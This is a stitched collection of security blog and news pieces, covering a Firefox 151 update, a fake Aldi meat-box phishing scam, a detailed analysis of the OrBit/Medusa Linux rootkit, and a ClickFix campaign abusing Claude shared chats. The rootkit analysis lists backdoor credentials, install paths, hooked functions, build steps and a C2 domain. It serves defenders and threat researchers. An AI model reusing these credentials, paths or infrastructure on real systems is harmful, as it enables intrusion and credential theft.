Mozilla has published release notes for Firefox browser version 151.0, and this update includes several genuinely meaningful privacy and security improvements.
Three changes stand out in particular:
Stronger antiβfingerprinting
Broader protection for local network access
More control over private sessions and permissions
Note that Mozilla says several Firefox 151 features are βpart of a progressive roll out,β meaning they will appear for some users first and be expanded over time.Β So, you may not see all of them immediately.
Privacy
One of the more visible additions is a new βend private sessionβ control in Private Browsing Mode. Instead of closing every private window to clear your traces, you now get a dedicated fireβicon button next to the address bar that wipes the current private sessionβs data and immediately starts a fresh one.
End private session button
Under the hood, this clears the usual private browsing artifacts for that session, including history, cookies, cached files, and other site data that would normally disappear only when the last private window closes.
For people who routinely mix normal and private windows, this is safer and less errorβprone than hunting down every private tab before you walk away from the machine.
Firefox 151 also tightens its defenses against browser fingerprinting in the default βStandardβ Enhanced Tracking Protection (ETP) mode. Mozilla says Firefox now limits the amount of device and browser information exposed to websites in a way that reduces the number of uniquely identifiable users by about 14% overall, and by roughly 49% on macOS.
This makes it harder for trackers to pick you out of the crowd, especially on platforms with fewer users to begin with (like certain macOS configurations). This reduces the privacy risk surface by default, which makes it harder for phishing and landing pages that redirect visitors to βcategorizeβ you.
Another important change is Firefoxβs βlocal network access restrictions,β which are now rolling out to all users, not just those who turned Enhanced Tracking Protection to Strict.
This means that when a website wants to communicate with devices on your local network, or with apps and services running on your machine, Firefox now asks for permission first. Chrome and Edge have been rolling out similar permission prompts.
The most notable example is CVEβ2026β8953, a sandbox escape due to a useβafterβfree in the Disability Access APIs component. While there are currently no reports of inβtheβwild exploitation for this specific bug at the time of writing, this is the kind of bug cybercriminals love.
A use-after-free (UAF) is a software memory vulnerability where a program attempts to access a memory location after it has been freed. If the program fails to clear the pointer to that freed memory, attackers can manipulate the error to crash the system or execute arbitrary code. A memory corruption leading to a sandbox escape is exactly the kind of link attackers want to complete a browser exploit chain.
How to update
If youβre running Firefox in a home or smallβoffice environment, we recommend updating to Firefox 151 as soon as possible to get the fingerprinting protections, local network access prompts, and security patches.
To update Firefox:
Open Firefox
Click the menu (three stacked lines) in the upper-right corner
Go to Help > About Firefox
Firefox will automatically check for updates and begin downloading them
Restart the browser when prompted to complete the update
Once your Firefox browser has been updated, it will show a green checkmark along with the message: βFirefox is up to date.β
LetβsΒ face it, an incognito window can only do so much.Β Β Breaches, dark web trading, credit fraud. Malwarebytes Identity Theft ProtectionΒ monitors for all of it, alerts you fast, and comes with identity theft insurance.Β
PinTheft, a recently patched Linux privilege escalation vulnerability, now has a publicly available proof-of-concept (PoC) exploit that allows local attackers to gain root privileges on Arch Linux systems. [...]
Apparently, and this is an issue weβve flagged before, social media platforms could stop scams, but they donβt because it hurts their revenue.
The Aldi meat box scam
This Facebook post immediately rattled my cage:
This promotion is not from Aldi and is not endorsed by the company. A random account, which may be compromised or completely fake, posts:
βMy son works at Aldi and told me about something almost nobody knows. To be honest, I thought he was joking at first. If youβre over 40, you can get a meat box from Aldi for under $10. Sounds crazy, but it actually worked. Theyβre clearing out excess stock and, instead of throwing it away, theyβre basically letting people have it for next to nothing. All I did was fill out a short form , I left the link in the comments in case itβs useful to anyone. I signed up for my husband (heβs 59 and loves a good steak), and when the box arrived, he opened it like it was his birthday. Everything looked fresh, neatly packed, and honestly there was more inside than we expected. It took me about a minute to fill out the form. If youβre over 40, definitely give it a go , worst case you lose a minute, best case you get a great box of meat almost for free.β
Unusual offer: Promises of high-value products (βmeat box from Aldi for under $10β) for an extremely low price are classic signs of scams, especially when they leverage well-known brands.
Anecdotal story: The post uses a personal story (βMy son works at Aldiβ¦β) to appear trustworthy and relatable, a common technique in social engineering.
Age restriction: Arbitrarily targeting people over 40 is a psychological trick to make the offer feel exclusive and relevant.
External link: The most common tactic is to provide a link in the comments rather than in the main post to avoid automatic detection by the platform.
Urgency and simplicity: Encourages quick action with phrases like βtook me about a minute,β downplaying any possible risk.
As it turns out, the possible risk, or βworst caseβ as the Facebook post calls it, is a lot worse than losing a minute of your time.
The first redirect sent me to a website where my device was fingerprinted using an embedded JavaScript before redirecting me to https://gifts-survey[.]life/click?key={identifier}, a site designed to mimic the Aldi website. I had my VPN set to the US.
The scam page immediately creates urgency with messages like βonly 1 spot leftβ and βyou only have 2 minutes to complete the survey,β trying to stop visitors from thinking things through.
The survey itself only asks basic questions, so there wasnβt much harm in clicking through it on my virtual machine.
As a reward, I got to pick three out of nine boxes to win a prize. Iβm happy to report that I βacedβ that test.
So, I was forwarded to the scammersβ real goal. On the domain hyperbargainsflow[.]shop, visitors are prompted to enter payment details for their discounted meat box, plus an optional upsell for faster delivery.
The final page asks victims to hand over personal details, including their full name, contact information, and home address, along with payment details for the fake βdeliveryβ fee.
The site also uses tricks like more than 1,000 fake 5-star ratings and attempts to auto-complete and auto-submit the form if fields are detected as pre-populated. Saves you the trouble of submitting all your data yourself. Isnβt that nice of them?
If a post promises a box of premium meat for the price of a sandwich, assume it is a scam until you can prove otherwise.
The same simple checks will help you avoid this Aldi meat box scam and the next lookβalike campaign that pops up tomorrow.
Sometimes scrolling past the enthusiastic, fake comments will reveal what real users are saying:
You can also help slow these scams down by reporting them. On Facebook, click the three-dot menu on the post and choose Report post > Scam, fraud or false information.
If a deal claims to be βknown only by insidersβ or βalmost nobody knows this,β treat it as a red flag, not a perk. Real retailers advertise widely and on their own accounts. They donβt hide genuine promotions in badly written Facebook posts from throwaway accounts.
Be wary of links posted in the comments. Scammers sometimes use that tactic to avoid automated scanning and reporting on the platform.
Check the browser address bar carefully. Scam pages can copy a brandβs logo and colors perfectly, but the domain name usually gives the game away.Β
Never enter card details, your full address, or your phone number into a site you reached via a random social post, especially if the offer feels too good to be true. If you already did, contact your bank or card issuer as soon as possible and monitor your statements.
Secure your devices. Use an up-to-date, real-timeΒ anti-malware solutionΒ with web protection. Malwarebytes blocks connections to unsafe sites like these.
Malwarebytes blocks gifts-survey[.]life
Pro tip: Malwarebytes Scam Guard recognized the Facebook post as a scam and could have saved somebodyβs day.
LetβsΒ face it, an incognito window can only do so much.Β Β Breaches, dark web trading, credit fraud. Malwarebytes Identity Theft ProtectionΒ monitors for all of it, alerts you fast, and comes with identity theft insurance.Β
A recently patched local privilege escalation vulnerability in the Linux kernel's rxgk module now has a proof-of-concept exploit that allows attackers to gain root access on some Linux systems. [...]
βDuring the second day of Pwn2Own Berlin 2026, competitors collected $385,750 in cash awards after exploiting 15 unique zero-day vulnerabilities in multiple products, including Windows 11, Microsoft Exchange, and Red Hat Enterprise Linux for Workstations. [...]
In July 2022, we published the first analysis of OrBit, a then-undocumented Linux userland-rootkit that stood out for its comprehensive libc hooking, SSH backdoor access, and PAM-based credential harvesting. At the time, OrBit appeared as a single sample with a single operator fingerprint, and the codebase itself looked customized.
It wasnβt. As we will show below, OrBit is a repackaged and selectively weaponized build of Medusa, an open-source LD_PRELOAD rootkit published on GitHub in December 2022. The story of OrBitβs four-year evolution is not one of novel development; itβs the story of how a publicly available rootkit was forked, configured, and redeployed.
Nearly four years later, OrBit is still in the wild, and it has not stood still. Hunting across VirusTotal, we pulled more than a dozen samples spanning 2022 through 2026 and walked each one through static and differential analysis. We discovered two parallel lineages: a full-featured βLineage Aβ build that tracks closely with the 2022 original, and a lite βLineage Bβ fork that drops entire capability domains (PAM, pcap, TCP-port hiding) in exchange for a smaller footprint. Along the way, the operators rotate XOR keys, shuffle install paths, swap backdoor credentials, add auditd-evasion hooks, and eventually bolt on a service-side PAM impersonation primitive.
This blog picks up where the 2022 analysis left off. We focus on what changed, when, and why it matters for defenders. For each epoch, we enumerate the samples, call out the lineage, and break down the meaningful changes: credential changes, hook-set diffs, new evasion behavior, and operator tradecraft.
Background: What is OrBit?
For readers unfamiliar with the original analysis, OrBit is a Linux userland-rootkit deployed as a shared library (.so) that achieves persistence by patching the dynamic linker, specifically modifying ld.so to ensure the malicious library is loaded into every process on the system. It operates as a passive implant with no command-and-control communication; instead, the attacker connects in through an SSH backdoor. Once installed, OrBit hooks into PAM functions to harvest credentials from SSH and sudo authentication attempts, storing the captured passwords locally.
Its evasion capabilities are comprehensive, hooking over forty libc functions to hide files, processes, and network connections from administrators and security tools alike. The malware stores its harvested credentials and configuration data in /lib/libntpVnQE6mk/, a directory that remains invisible to standard enumeration thanks to the rootkitβs own hooks.
July 2022
Hash
XOR
Working dir
SSH Username
SSH Password
# Exports
# Hooks
Dropper
40b5127c
0xA2
/lib/libntpVnQE6mk/
2l8
c4ss0ul3tt3
66
54
f1612924
We will refer to this variant as Lineage A βFullβ build of OrBit.
OrBit variants through the years
In our research, we collected samples from VirusTotal. Unlike PE files, ELF files donβt include a compilation timestamp, so we started by aggregating the samples by the date they were submitted to VirusTotal. To track the samples on the blog, we use the first 8 characters of each sampleβs SHA-256. At the bottom of the blog, you can find the full list of IOCs.
December 2022
The first version shows a slight change: the username and password for the SSH connection, and the exported functions. Credential mechanism shift: 40b5127c resolved the backdoor username dynamically via the getpwuid hook; ec7462c3 dropped that hook entirely and hardcodes adm1n directly in the XOR-encrypted string table. The working folder was changed to libseconf. For the most part, the later variants will use this path.
All other capabilities are identical: file I/O interception, stat hiding, PAM credential capture, TCP port hiding (alloc_tcp_ports/remove_port/tcp_port_hidden), load monitoring (.showload/.maxload), pcap sniffing, LD_PRELOAD management, log suppression, and process hiding.
The transition from 2022 to 2023 is essentially a redeployment with new credentials and a more convincing install path, plus a minor simplification (dropping dynamic UID lookup in favor of a hardcoded username).
The rootkitβs hook surface stayed stable.
Hash
XOR
Working dir
Username
Password
Exports
# Hooks
Dropper
ec7462c3
0xA2
/lib/libseconf/
adm1n
asdfasdf
67
53
8ea420d9
Samples From 2023
Hash
XOR
Working dir
Username
Password
Exports
# Hooks
Dropper
d419a9b1
0xA2
/lib/fuckwhitehatshome/
fuckwhitehatsuser
fuckwhitehatspass
67
53
296d28eb
0xA2
/lib/libseconf/
adm1n
asdfasdf
65
54
3ba6c174
0xA2
/lib/libseconf/
adm1n
(not present)
54
49
26082cd3
4203271c
0xA2
/lib/libseconf/
b4ph0m3t0
(not present)
54
49
The d419a9b1 sample stands out for the operatorβs choice of the install path (/lib/fuckwhitehatshome/) and the SSH username and password. No other known samples use these strings, suggesting a different operator or persona authored this particular build rather than it simply being a different deployment of the same toolkit. Functionally, it carries the full 2022-era hook set, with 65 exports.
The 296d28eb sample is a full-featured build that uses the libseconf path and the same SSH credentials as ec7462c3. But this sample also has an evolutionary step: dropped TCP port hiding, added the exported xread function. This is not an LD_PRELOAD hook on a system library; itβs a wrapper that calls syscall(SYS_read) directly, bypassing the rootkitβs own hooked read().
The rootkit hooks the libc read() function; the hook filters out rootkit artifacts from files such as/proc/net/tcp and directory listings. Some C programs, such as Git, define their own internal xread() helper that wraps read() to handle partial reads and EINTR. Normally, these internal helpers call libc read(), which the rootkit intercepts and filters. By exporting its own xread, which directly calls syscall (SYS_read), the rootkit shadows these program-internal helpers with a version that bypasses its own read hook entirely. This is a compatibility fix: without it, any program that defines xread would receive the rootkitβs filtered output through its core I/O path, potentially corrupting SSH protocol streams, breaking git operations, or causing other malfunctions that could expose the rootkitβs presence. The hook ensures that programs continue to function normally while the rootkitβs read interception remains active for standard libc callers.
Β Β Β Β Β Β The exported xread function in sample 296d28eb
3ba6c174 / 4203271c: Lineage B lite build
Both files, 3ba6c174 and 4203271c, represent the first appearance of Lineage B, a deliberately lite fork of the OrBit rootkit. Both are dynamically linked shared objects using the standard 0xA2 XOR key and installed in /lib/libseconf/, but they export only 54 functions, compared to the 67 in their closest Lineage A contemporaries (d419a9b1, ec7462c3). The 13 removed exports strip out three entire capability domains: network port-hiding (alloc_tcp_ports, remove_port, tcp_port_hidden, clean_ports), PAM credential interception (pam_authenticate, pam_acct_mgmt, pam_open_session, pam_get_password), and packet capture (pcap_loop, pcap_packet_callback). The string table reflects this (.logpam and .udp are absent), though .ports, .hosts, and sshpass2.txt are retained. This reduced feature set suggests they were purpose-built for different target environments where a smaller footprint or more limited functionality was either sufficient or preferred.
The most notable change is the complete absence of a backdoor password. Every Lineage A sample embeds a password in its XOR-encrypted string block, but in both 3ba6c174 and 4203271c, the password field is missing. Each sample carries a distinct username (adm1n and b4ph0m3t0, respectively), and these are the only byte-level differences between the two binaries. This pattern of 54 exports, no password, no PAM/pcap hooks, held consistent across all subsequent Lineage B samples through 2024.
Samples From 2024
Hash
XOR
Working dir
Username
Password
Exports
# Hooks
Dropper
eea274ed
0xAA
/lib64/libseconf/
Y0u4reCu6e
1qaz@WSX3edc123
66
54
a6138638
0xAA
/lib/locate/
Y0u4reCu6e
1qaz@WSX3edc123
66
54
a34299a1
0xA2
/lib/libseconf/
rebel
(not present)
56
49
b1dd18a6
0xA2
/lib/libseconf/
Gestuff
(not present)
54
49
fc2e0cb6
989f7eb4
0xA2
/lib/libseconf/
adm1n
(not present)
54
49
48a68d05
2024 is the most diverse epoch in OrBitβs timeline, with both lineages active simultaneously and an encryption key change in the Lineage A branch.
eea274ed / a6138638: Lineage A, 0xAA key rotation
These two samples belong to the same lineage: identical XOR key (0xAA is a break from the long-standing 0xA2), identical credentials (Y0u4reCu6e / 1qaz@WSX3edc123), and identical hook count (54). The only structural difference is the install path: /lib64/libseconf/ versus /lib/locate/. This is probably a deliberate path rotation to evade detections anchored on the previously documented /lib/libseconf/ directory. Credentials are stored inline in the XOR-encrypted block rather than written to sshpass.txt, representing a shift in the credential storage model. Both samples also have a reduced hook for theβ execveβ function: the execve hook handles persistence maintenance (apt/yum), output sanitization (dmesg), and ldd defeat. Compared to other samples in the lineage, it is a reduced feature set: no strace interception, no IP/iptables hooks, no command logging.
Despite sharing the same hook count, the two samples do not share the same hook set. a6138638 swaps read/write for readdir_r/readdir64_r, indicating a targeted adjustment to the directory-hiding mechanism. A string-level diff reveals more changes:Β
Credential harvesting is saved in remote.txt.
Β This variant captures only SSH logins, not sudo sessions ([sudo] pass is missing).
The result is 52 decoded XOR strings in eea274ed versus 47 in a6138638. Both samples retain .udp, .pts, and the credential pair, preserving the core backdoor functionality. The removals target logging and forensic-capture features, suggesting a6138638 was tailored for a deployment where a lighter footprint was preferred.
a34299a1 / b1dd18a6 / 989f7eb4: Lineage B continuation
These samples continue the 54-export lite build lineage that first appeared in 2023 with 3ba6c174/4203271c. The hook set is identical (49 hooks), the XOR key remains 0xA2, and the same capability domains are absent: no PAM credential interception, no pcap sniffing, no TCP port hiding. The password field is still missing from the binary. Each sample carries a distinct username (rebel, Gestuff, adm1n, respectively), consistent with the Lineage B pattern of per-deployment username rotation, with no corresponding password.
989f7eb4 is the payload extracted from the 48a68d05 dropper. It was not on VT; we uploaded it.
Samples From 2025
Hash
XOR
Working dir
Username
Password
Exports
# Hooks
Role
8e83cbb2
0xA2
/lib/libseconf/
infinity
302010
66
54
payload .so
2b2eeb22
0xA2
/lib/libseconf/
adm1n
asdfasdf
64
54
payload .so (extracted from d3d204c1)
84828f31
0xA2
/lib/libseconf/
adm1n
asdfasdf
64
54
truncated copy of2b2eeb22
090b15fd
β
β
β
β
β
β
dropper (carries 8e83cbb2)
64a3ebd3
β
β
β
β
β
β
dropper (carries 8e83cbb2)
b85ed157
β
β
β
β
β
β
dropper (carries 8e83cbb2)
d3d204c1
β
β
β
β
β
β
dropper (carries 2b2eeb22)
73b95b7d
n/a
β
β
β
β
β
infector (carries 090b15fd as inner ELF)
The 2025 epoch marks two significant capability additions to Lineage A and confirms the rootkitβs return to the 0xA2 encryption key after the 2024 0xAA experiment.
Two distinct rootkit .so builds are present in 2025, both Lineage A:
8e83cbb2 represents the most capable build to date. Its 66-export set includes a significant new hook not seen in any prior variant: pam_sm_authenticate. This is the PAM service-side authentication function, meaning the rootkit now hooks both sides of the PAM stack. Where earlier variants could only passively capture credentials via client-side pam_authenticate, this build can also forge authentication outcomes, allowing the attacker to approve or deny login attempts at will. The export set also includes xread, first seen in 296d28eb (2023).
2b2eeb22 is a second Lineage A payload with 64 exports. XOR 0xA2 decode confirms credentials adm1n/asdfasdf, the same operator behind ec7462c3 (2022), 296d28eb (2023), and the 26082cd3 inner payload (2024), now spanning four years. 84828f31 is a truncated copy of 2b2eeb22 (same BuildID: cbc9724027399723a27daa4114ffcdf906cb802f, identical bytes up to 107KB, missing the trailing 102KB containing section headers and symbol tables), it is likely an incomplete extraction or download artifact. It is not a distinct sample.
XOR 0xA2 string decode of both payloads confirms the full Lineage A string set is restored: sshpass.txt and sshpass2.txt both present, plus .logpam, .udp, .ports (Γ2), /proc/net/tcp. The string removals introduced by the 2024 0xAA cluster (a6138638βs missing local.txt, sniff.txt, etc.) were not carried forward, and both builds return to the comprehensive logging and credential-capture model.
Dropper Samples
090b15fd, 64a3ebd3, and b85ed157 are statically linked ELF executables that carry 8e83cbb2 as an embedded .so and share the same Build ID: da256c78910c552eb334814ada85c7655b717c4f. d3d204c1 is the same type of dropper carrying 2b2eeb22. All four share the same architecture first seen in f1612924 (from 2022).
73b95b7d: A New Dropper Architecture
73b95b7d is not just a dropper, it is an infector that carries the dropper as an embedded payload. This creates a two-stage delivery chain: infector β dropper β rootkit.
The inner binary (090b15fd, embedded at file offset 0x20d7) is the dropper we previously saw. The infectorβs role is propagation and persistence; the dropperβs role is to extract and install the rootkit .so via ld.so.preload.
The infector scans the filesystem for ELF binaries and injects the second-stage payload into them. An infection marker bongripz4jezuz (stored in base64 encoding as: Ym9uZ3JpcHo0amV6dXoK) is checked before each infection attempt to avoid re-infecting the same target. The injected binaries include:
/bin/ls
All 64-bit ELF files in the current working directory that have read/write access.
Additionally, /etc/cron.hourly/0 is created as a persistence mechanism (to download and execute a remote payload), though it is a shell script rather than an ELF injection target.
This is the first OrBit component with any form of C2 communication. Every previous version was a purely passive implant, meaning the attacker connected via the SSH backdoor.Β
This introduces an external command channel that can deliver updated payloads or instructions, adding a reinfection mechanism on top of ld.so.preload persistence.
The earlier droppers stored all paths and commands as plaintext. 73b95b7d is the first dropper to implement string protection: a custom substitution cipher using two lookup tables at .data offsets for the cipher and plain, each with 88 entries, defining a character-by-character mapping. Notably, this is a different scheme from the XOR encryption used by the previous rootkit payloads.
The structure of this dropper, which delivers the OrBit payload in the final stage, is identical to that described in this APNIC blog that analyzed a dropper that delivered RHOMBUS malware.
Rhombus is a Linux-based botnet malware first reported in February 2020 by the MalwareMustDie research group, which analyzed and shared samples of it. It acts as an installer/dropper that persists on infected devices, drops a second-stage payload, and then uses the compromised system for DDoS activity. The target systems are VPS and IoT devices. (SHA256 of the dropper: b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784).
Interestingly, the dropper 73b95b7d that delivers the OrBit payload in the final stage is identical to the one used in the Rhombus campaign 6 years ago. Coincidentally, both droppers use the same domain to download the payload as part of the cron-job-based persistence. The current resolution of the domain is to 109.95.212[.]253. The host has a unique BANNER_0_HASH-IP value, ba0c31785465186600a76b7af2a37aa6, that is shared with only one other IP, 109.95.211[.]141, as shown in the screenshot below from Validin. Based on the ASN resolution, both IP addresses are located in Russia.
The fact that the OrBit dropper shares the same domain as malware from 6 years ago can also be interpreted as an attempt to mislead researchers; therefore, we are not taking this evidence into account for attribution at this moment. However, it is worth noting that this connection exists.
Shared BANNER_0_HASH-IP value.Resolution of http://cf0[.]pw
Samples From February 2026
Hash
XOR
Working dir
Username
Password
Exports
# Hooks
04c06be0
0xA2
/lib/libseconf/
jokerteam
HACK89SERVER
64
54
d7b487d2
0xA2
/lib/libseconf/
57ill4Cu63
1qaz@WSX3edc098
64
54
These two samples are confirmed to be identical in structure: the same 54-hook set, the same XOR key (0xA2), and the same working directory (/lib/libseconf/). The only difference is credentials: jokerteam/HACK89SERVER versus 57ill4Cu63/1qaz@WSX3edc098. XOR 0xA2 decode confirms the full Lineage A string set.
No Lineage B samples have surfaced since 2024, suggesting the lite build may have been retired or consolidated back into the main branch.
Connection to BLOCKADE SPIDER
In CrowdStrikeβs 2026 Global Threat Report, they mention that BLOCKADE SPIDER used the OrBit backdoor to maintain persistence and stealthy access to virtualization environments.
BLOCKADE SPIDER is a CrowdStrike-tracked eCrime adversary that has been active at least since 2024. They are known for running Embargo ransomware campaigns using sophisticated, multi-domain attack techniques.
Origin: OrBit is a fork of the Medusa open-source rootkit
Mandiantβs reporting on UNC3886 espionage operations identifies MEDUSA and its installer, SEAELF, as tools used by this state-sponsored actor against Juniper and VMware infrastructure. Essentially, OrBit is built from Medusa, an open-source LD_PRELOAD rootkit published on GitHub (github.com/ldpreload/Medusa) in December 2022.
Mandiantβs MEDUSA configuration table matches our 2024 Lineage A 0xAA-key cluster exactly across four independent fields: the XOR key 0xAA, the backdoor credentials Y0u4reCu6e and 1qaz@WSX3edc123, the install path /lib/locate/, and a modification to the rootkit that redirects strace output to /tmp/orbit.txt. That literal orbit filename, preserved as a plaintext artifact inside UNC3886βs MEDUSA binary, is direct cross-attribution: Mandiantβs βMEDUSAβ sample set and our βOrBitβ 2024 cluster are the same builds.
We compiled Medusa from source and compared the resulting binaries byte-for-byte against our OrBit corpus. The match is unambiguous, and it rewrites the attribution and evolution story.
Evidence of the fork
The first is a function-set and export match. Compiling Medusaβs src/rkld.c against the default Makefile recipe produces a shared object whose function set, hook list, and XOR-obfuscated string table are a direct superset match for OrBit Lineage A samples. The 2022 OrBit baseline (ec7462c3) shares all core exports with the Medusa build and reuses the identical XOR 0xA2 string obfuscation scheme driven by Medusaβs build-time xor_dump() pipeline, with the XOR key itself hardcoded in config.c.
The second is a source-filename fingerprint that is present in almost every sample we analyzed. Some of the samples ship with an unstripped ELF .symtab. The resulting filenames are preserved verbatim: rootkit samples carry rkld.c and, when Lineage A is linked in, rknet.c, while loader samples carry rkload.c. Those are the exact names of Medusaβs source files, src/rkld.c, src/rknet.c, and src/rkload.c. The filenames themselves are not secret, since the Medusa repository is public, but their verbatim presence in the compiled binary is a strong attribution anchor: every unstripped sample directly identifies the upstream tree it was built from. Of the samples in our corpus, only three are fully stripped (the 2025 dropper 73b95b7d, and the rootkit binaries a6138638 and b9822764). Three representative samples are shown below: a full Lineage A rootkit (ec7462c3, 2022), a Lineage B lite rootkit (3ba6c174, 2023), and the SEAELF loader (26082cd3, 2024).
The Lineage A rootkit carries both rkld.c and rknet.c; the Lineage B rootkit, which omits the advanced hook set, carries only rkld.c; and the loader carries rkload.c. The same pattern holds across the wider corpus.
Alongside the filename fingerprint, the loaderβs entry-point dispatch, its build_root() filesystem layout (.boot.sh, .logpam, sshpass.txt, sshpass2.txt, .ports), and its SELinux setxattr sequence all map one-to-one to the Medusa source.
The third is an embedded inner ELF produced by xxd -i. Medusaβs Makefile embeds build/rkld.so into the loader using the xxd -i build/rkld.so > build/rkld.h step, which is then included by the loader compiled at Makefile line 33. OrBitβs loader binaries follow this pattern: a rkld.so blob embedded as a C byte array within the loader ELF, dropped to disk at runtime. The embedding technique, offset layout, and post-drop execution flow are identical.
Per-Module Source Mapping
Medusaβs source tree maps cleanly onto the OrBit binary set we have tracked:
Medusa source
Role
Corresponding OrBit artifact
src/rkld.c
Main rootkit (libc hooks, PAM harvest, file/proc/net hiding)
Not compiled in the default Makefile. Linked in only in Lineage A βfullβ builds.
The Medusa default Makefile compiles only src/rkld.c. Every Lineage A capability that appeared to βarriveβ in OrBit between 2023 and 2025 was already present as source in Medusaβs src/rknet.c on day one of the public release. The operatorsβ work was to modify the Makefile to link rknet.c into their build, not to author those functions.
Timeline Anomaly
Our analysis shows that an initial OrBit sample (40b5127c) appeared in July 2022, predating the repositoryβs publication by approximately 5 months. Based on this information, there are two options: either the Medusa author published a privately-circulated rootkit source that had already been deployed operationally, or the earliest OrBit sample was built from a pre-publication snapshot of the same tree. Either way, the 2022 OrBit sample and the December 2022 Medusa source tree are the same codebase. The question is only which commit was made public first.
Implications
The appearance of a single rootkit family across four years does not imply a single operator. OrBit and Medusa have been built and deployed by at least three unrelated actor clusters we can presently distinguish, including the state-sponsored espionage activity attributed to UNC3886, the eCrime ransomware operations run by BLOCKADE SPIDER, and the 2025 cron-dropper campaign previously linked to RHOMBUS infrastructure. Attribution at the family level is therefore not enough, and defenders tracking an OrBit infection should separate the questions of which codebase was used from which operator configured and deployed it.
Tracking version-over-version changes in OrBit reads less like an active malware development project and more like a record of build-flag toggles, credential rotations, and install-path swaps against a stable upstream. The capability ceiling is set by the Medusa source tree as it existed in December 2022, and every apparent new feature we observed between 2023 and 2025 was already present in that tree, waiting for an operator to link it in. The xread read-hook bypass we first flagged as a 2023 compatibility shim is a function in src/rknet.c. The auditd evasion pair we called out as a 2024 addition, audit_log_acct_message and audit_log_user_message, sits in the same file. The PAM stack we noted as gradually expanding across versions, including pam_authenticate, pam_acct_mgmt, pam_open_session, and the 2025 service-side impersonation hook pam_sm_authenticate, is all present in the same rknet.c, as is the pcap_loop packet hook that appears in full Lineage A builds. None of these files is linked in by the default Makefile recipe, which compiles only src/rkld.c. Their arrival in individual OrBit samples corresponds to an operator modifying the build to include rknet.c, not to new code being written.Β
Signatures based on invariants of the Medusa build pipeline will also flag builds from operators we have not yet seen. Three such invariants are worth calling out.Β
The string table produced by Medusaβs xor_dump() routine, which emits every protected string as a contiguous block of single-byte XOR-obfuscated byte arrays within the compiled binary. Operators change the key value (0xA2 in most builds, 0xAA in the 2024 UNC3886 cluster) and some paths, but the tableβs shape and the majority of its entries are fixed by the source. A YARA rule that decodes the table with a variable single-byte key and matches on a threshold count of known plaintext strings catches any build, regardless of which key was chosen.Β
The filesystem skeleton that the loaderβs build_root() writes into its install directory. Operators vary only the parent directory (/lib/libseconf/, /lib/locate/, /lib/libntpVnQE6mk/), so host-based detection can alert on the co-occurrence of that filename set inside any directory, and binary-level signatures can match the embedded filename constants and the setxattr call pattern directly.Β
The nested-ELF structure produced by the xxd β +i build/rkld.so > build/rkld.h step in the Makefile, which bakes a full secondary ELF into the loaderβs .rodata. Every Medusa loader therefore carries a second ELF magic inside its own image, followed by a length constant, and, if the binary is not stripped, two xxd-generated symbols (rkld_so and rkld_so_len ). The nested-ELF shape on its own is not specific enough to be a detection signature: plenty of legitimate software and unrelated malware use xxd -i or equivalent techniques to embed a payload, and any such binary will match a naive βsecond ELF at non-zero offset plus length constantβ rule. The Medusa-specific part is the pairing of that structural pattern with (a) the symbol names rkld_so and rk +ld_so_len in the loaderβs symbol table when the binary is not stripped, and (b) the inner ELF itself, matching the rootkit fingerprint described earlier in this section, which gives both a family-level anchor and a structural one.
Conclusion
The analysis of OrBit variants from 2022 through early 2026 reveals a Linux rootkit whose code later surfaced in an open-source codebase named Medusa. This suggests that the backdoor was created before its public release and has since been selectively forked, configured, and redeployed by multiple operators over four years. We identified two parallel build paths: the comprehensive Lineage A (βFullβ build), which links in Medusaβs src/rknet.c advanced hook set, and the temporary Lineage B (lite build), which ships only the src/rkld.c core and was retired after 2024. Apparent βmilestonesβ in Lineage A are the xread wrapper (2023), the audit_log_* auditd-evasion hooks (2024), and the 2025 addition of the pam_sm_authenticate hook, which corresponds one-to-one with functions already present in Medusaβs published source. The operator work is in the build configuration and deployment, not the C code.
Our analysis of the OrBit samples also discovered that at least 3 different operators are using the backdoor. A major operational shift occurred in 2025 with the introduction of a new two-stage infector architecture, marking one operatorβs transition from a purely passive SSH-backdoor implant to malware with its first direct C2 capability. This infector utilizes a cron job to fetch external payloads from the domain cf0[.]pw. The architecture of this new dropper is identical to one used in the 2020 RHOMBUS botnet campaign, suggesting shared tooling or operator overlap, a link further cemented by the C2 domain resolving to infrastructure located in Russia. In parallel, the same Medusa codebase was weaponized upstream by the state-sponsored espionage actor UNC3886 (tracked by Mandiant). The 2024 0xAA-key cluster we tracked as Lineage A corresponds exactly to UNC3886βs MEDUSA configuration, including the backdoor credentials, the install path, and a strace artifact that retains the literal βorbitβ string. The rootkit has also been adopted by the CrowdStrike-tracked eCrime adversary BLOCKADE SPIDER since at least 2024, who leverage OrBit for stealthy persistence against VMware vCenter infrastructure to facilitate the deployment of Embargo ransomware. The continued emergence of new Lineage A samples in 2026, accompanied by operator-specific credential rotation, confirms that a single public rootkit codebase is being cloned and configured by multiple unrelated actor groups.
Researchers found that cybercriminals are using sponsored search results and shared Claude chats to lure victims into a typical ClickFix attack to install malware on macOS devices.
ClickFix is a social engineering method that tricks users into infecting their own device with malware. Users are instructed to run specific commands that will download malware, usually an infostealer.
The researchers found that when users search for terms like βClaude Mac download,β they may see sponsored Google results that appear to go to the legitimate claude.ai domain.
In reality, the ads resolve to real Claude shared chats, set up to look like official βClaude Code on Macβ or Apple Support guides. Independent research by BleepingComputer found another chat serving the same purpose. The chat instructs victims to open Terminal and paste a base64βencoded command, which pulls a loader shell script from attackerβcontrolled infrastructure and runs it in memory.
The script then profiles the system, pulls down a second-stage payload and runs it throughΒ osascript, macOSβs built-in scripting engine. This gives the attacker remote code execution (RCE) without ever dropping a traditional application or binary.
This results in a MacSyncβstyle payload that harvests browser credentials, cookies, Keychain contents, and crypto wallet data, bundles it, and sends all that information over HTTP to attacker servers.
With ClickFix running rampant and inventing new methods all the time, itβs important to stay aware, cautious, and protected.
Slow down.Β Donβt rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy and paste code. Attackers rely on urgency to bypass your critical thinking, so be cautious of pages urging immediate action. Sophisticated ClickFix pages add countdowns, user counters, or other pressure tactics to make you act quickly.
Avoid running commands or scripts from untrusted sources.Β Never run code or commands copied from websites, emails, or messages unless you trust the source and understand what the action does.
Verify instructions independently.Β If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
Limit copy and paste for commands.Β Manually typing commands instead of copy and paste can reduce the risk of unknowingly running malicious payloads hidden in copied text.
Secure your devices.Β Use an up-to-date, real-timeΒ anti-malware solutionΒ with web protection. Malwarebytes blocks connections to unsafe sites like these.
Educate yourself on evolving attack techniques.Β Understanding that attacks may come from unexpected places helps maintain vigilance. Keep reading our blog!
